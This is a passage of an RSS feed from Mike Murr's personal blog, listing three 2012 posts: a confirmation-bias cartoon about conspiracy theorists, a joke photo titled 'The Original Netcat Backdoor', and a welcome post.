		<link>https://mikemurr.com/conspiracy-theorist-problem/?pk_campaign=feed&#038;pk_kwd=conspiracy-theorist-problem</link>
					<comments>https://mikemurr.com/conspiracy-theorist-problem/?pk_campaign=feed&#038;pk_kwd=conspiracy-theorist-problem#respond</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Fri, 27 Jul 2012 10:02:29 +0000</pubDate>
				<category><![CDATA[Funny]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[cartoon]]></category>
		<category><![CDATA[conspiracy]]></category>
		<guid isPermaLink="false">http://mikemurr.org/mikemurr/?p=56</guid>

					<description><![CDATA[<p>Confirmation Bias &#160;</p>
<p>The post <a href="https://mikemurr.com/conspiracy-theorist-problem/?pk_campaign=feed&#038;pk_kwd=conspiracy-theorist-problem">The Problem With Conspiracy Theorists</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fconspiracy-theorist-problem%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dconspiracy-theorist-problem&amp;action_name=The+Problem+With+Conspiracy+Theorists&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<h2 style="text-align: center;">Confirmation Bias</h2>
<figure id="attachment_57" aria-describedby="caption-attachment-57" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-57" src="http://mikemurr.com/wp-content/uploads/2012/07/confirmation.png" alt="Confirmation Bias" width="600" height="686" srcset="https://mikemurr.com/wp-content/uploads/2012/07/confirmation.png 600w, https://mikemurr.com/wp-content/uploads/2012/07/confirmation-262x300.png 262w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption id="caption-attachment-57" class="wp-caption-text">Everything you look for, and all that you perceive has a way of proving whatever you believe.</figcaption></figure>
<p>&nbsp;</p>
<img loading="lazy" decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fconspiracy-theorist-problem%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dconspiracy-theorist-problem&amp;action_name=The+Problem+With+Conspiracy+Theorists&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/conspiracy-theorist-problem/?pk_campaign=feed&#038;pk_kwd=conspiracy-theorist-problem">The Problem With Conspiracy Theorists</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/conspiracy-theorist-problem/?pk_campaign=feed&#038;pk_kwd=conspiracy-theorist-problem/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">56</post-id>	</item>
		<item>
		<title>The Original Netcat Backdoor</title>
		<link>https://mikemurr.com/netcat-backdoor/?pk_campaign=feed&#038;pk_kwd=netcat-backdoor</link>
					<comments>https://mikemurr.com/netcat-backdoor/?pk_campaign=feed&#038;pk_kwd=netcat-backdoor#respond</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Tue, 24 Jul 2012 22:15:22 +0000</pubDate>
				<category><![CDATA[Funny]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[netcat]]></category>
		<guid isPermaLink="false">http://mikemurr.org/mikemurr/?p=48</guid>

					<description><![CDATA[<p>The post <a href="https://mikemurr.com/netcat-backdoor/?pk_campaign=feed&#038;pk_kwd=netcat-backdoor">The Original Netcat Backdoor</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fnetcat-backdoor%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dnetcat-backdoor&amp;action_name=The+Original+Netcat+Backdoor&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<figure id="attachment_49" aria-describedby="caption-attachment-49" style="width: 300px" class="wp-caption aligncenter"><a href="http://www.flickr.com/photos/shanafin/525187113/"><img loading="lazy" decoding="async" class="size-medium wp-image-49" title="The Original Netcat Backdoor" src="https://mikemurr.org/mikemurr/files/2012/07/original_netcat_backdoor-300x276.jpg" alt="The Original Netcat Backdoor" width="300" height="276" srcset="https://mikemurr.com/wp-content/uploads/2012/07/original_netcat_backdoor-300x276.jpg 300w, https://mikemurr.com/wp-content/uploads/2012/07/original_netcat_backdoor-768x707.jpg 768w, https://mikemurr.com/wp-content/uploads/2012/07/original_netcat_backdoor.jpg 1024w" sizes="(max-width: 300px) 100vw, 300px" /></a><figcaption id="caption-attachment-49" class="wp-caption-text">Photo by Stephen Hanafin</figcaption></figure>
<img loading="lazy" decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Fnetcat-backdoor%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dnetcat-backdoor&amp;action_name=The+Original+Netcat+Backdoor&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/netcat-backdoor/?pk_campaign=feed&#038;pk_kwd=netcat-backdoor">The Original Netcat Backdoor</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/netcat-backdoor/?pk_campaign=feed&#038;pk_kwd=netcat-backdoor/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">48</post-id>	</item>
		<item>
		<title>Token First Post</title>
		<link>https://mikemurr.com/token-first-post/?pk_campaign=feed&#038;pk_kwd=token-first-post</link>
					<comments>https://mikemurr.com/token-first-post/?pk_campaign=feed&#038;pk_kwd=token-first-post#comments</comments>
		
		<dc:creator><![CDATA[Mike]]></dc:creator>
		<pubDate>Mon, 09 Jul 2012 03:31:28 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<guid isPermaLink="false">http://mikemurr.org/mikemurr/?p=11</guid>

					<description><![CDATA[<p>Welcome to Mike Murr’s personal blog… This is the token first post 🙂</p>
<p>The post <a href="https://mikemurr.com/token-first-post/?pk_campaign=feed&#038;pk_kwd=token-first-post">Token First Post</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
<img src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Ftoken-first-post%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dtoken-first-post&amp;action_name=Token+First+Post&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
										<content:encoded><![CDATA[<p>Welcome to Mike Murr’s personal blog… This is the token first post <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<img loading="lazy" decoding="async" src="http://siteverifier.com/p/piwik.php?idsite=6&amp;rec=1&amp;url=https%3A%2F%2Fmikemurr.com%2Ftoken-first-post%2F%3Fpk_campaign%3Dfeed%26pk_kwd%3Dtoken-first-post&amp;action_name=Token+First+Post&amp;urlref=https%3A%2F%2Fmikemurr.com%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" /><p>The post <a href="https://mikemurr.com/token-first-post/?pk_campaign=feed&#038;pk_kwd=token-first-post">Token First Post</a> appeared first on <a href="https://mikemurr.com">Mike Murr</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://mikemurr.com/token-first-post/?pk_campaign=feed&#038;pk_kwd=token-first-post/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">343</post-id>	</item>
	</channel>
</rss>
